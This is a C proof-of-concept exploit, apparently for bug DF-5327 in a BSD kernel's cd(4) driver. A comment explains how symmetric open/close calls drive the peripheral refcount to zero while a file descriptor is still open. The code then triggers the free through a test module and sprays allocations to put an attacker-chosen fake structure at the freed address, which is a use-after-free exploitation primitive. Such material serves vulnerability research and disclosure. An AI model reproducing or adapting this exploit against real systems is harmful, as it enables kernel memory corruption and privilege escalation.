/* DF-5327 PoC (deterministic, no signals, no races):
 *
 * The cd(4) open/close refcount protocol ("Closes aren't symmetrical with
 * opens" fixup in cdopen + UNCONDITIONAL release in cdclose) allows a plain
 * open/open/close/close sequence to drive the cam_periph refcount BELOW the
 * number of open file descriptors:
 *
 *   fd1 = open("/dev/cd1")   refcount 0 -> 1   (open ref kept, flag set)
 *   fd2 = open("/dev/cd1")   acquire+release   (net 0: "fixup")
 *   close(fd2)               cdclose: hold/unhold balanced
 *                            + unconditional release -> refcount == 0
 *                            *** with fd1 still open ***
 *
 * refcount == 0 means the next AC_LOST_DEVICE (device removal / bus dereg)
 * frees the periph + softc synchronously while fd1 is still open and
 * parkable threads are still in cam_periph_* paths.
 *
 * Requires: evilcd2.ko loaded (fake CD at scbusX target 0 lun 0 -> /dev/cd1).
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <sys/cdio.h>
#include <sys/sysctl.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <fcntl.h>
#include <unistd.h>
#include <errno.h>

static int
refcnt(void)
{
	int v = -999;
	size_t l = sizeof(v);

	sysctlbyname("debug.evilcd.refcnt", &v, &l, NULL, 0);
	return (v);
}

static char *
postmortem(void)
{
	static char buf[1024];
	size_t l = sizeof(buf);

	if (sysctlbyname("debug.evilcd.postmortem", buf, &l, NULL, 0) != 0)
		strlcpy(buf, "(sysctl failed)", sizeof(buf));
	return (buf);
}

int
main(int argc, char **argv)
{
	const char *dev = argc > 1 ? argv[1] : "/dev/cd1";
	int fd1, fd2, rc;

	printf("[poc] device %s\n", dev);

	fd1 = open(dev, O_RDONLY);
	if (fd1 < 0)
		err(1, "open#1 %s", dev);
	rc = refcnt();
	printf("[poc] after open#1 : refcount=%d (expect 1)\n", rc);

	fd2 = open(dev, O_RDONLY);
	if (fd2 < 0)
		err(1, "open#2 %s", dev);
	rc = refcnt();
	printf("[poc] after open#2 : refcount=%d (expect 1: 2nd open's "
	    "acquire was released by the 'symmetry fixup')\n", rc);

	if (close(fd2) != 0)
		err(1, "close#2");
	rc = refcnt();
	printf("[poc] after close#2: refcount=%d (expect 0 -- *** "
	    "exhausted while fd1 is still open ***)\n", rc);
	if (rc == 0)
		printf("[poc] PROOF-1: periph refcount == 0 with an open "
		    "descriptor -- any invalidation now frees it\n");

	/*
	 * Device removal (AC_LOST_DEVICE): with refcount == 0 this runs
	 * camperiphfree() synchronously: softc kfree'd, periph kfree'd,
	 * while fd1 is open.  We fork so that even if disk_destroy stalls
	 * on the open descriptor we can still close fd1 and finish.
	 */
	printf("[poc] invalidating (device removal)...\n");
	fflush(stdout);
	if (fork() == 0) {
		int v = 1;
		size_t l = sizeof(v);
		sysctlbyname("debug.evilcd.invalidate", NULL, NULL, &v, l);
		_exit(0);
	}
	sleep(2);
	close(fd1);
	sleep(1);
	wait(NULL);

	printf("[poc] postmortem (freed chunk): %s\n", postmortem());

	/*
	 * Attacker-side reallocation of the freed periph chunk: the rig
	 * sprays sizeof(struct cam_periph) allocations until one lands at
	 * exactly the freed address, then writes a fully chosen fake
	 * (sim/path/softc/refcount=0x41414141).
	 */
	{
		int v = 1;
		size_t l = sizeof(v);
		if (sysctlbyname("debug.evilcd.sprayfake", NULL, NULL,
		    &v, l) != 0)
			printf("[poc] sprayfake sysctl failed\n");
	}
	sleep(1);
	printf("[poc] postmortem (after groom): %s\n", postmortem());

	printf("[poc] done\n");
	return (0);
}
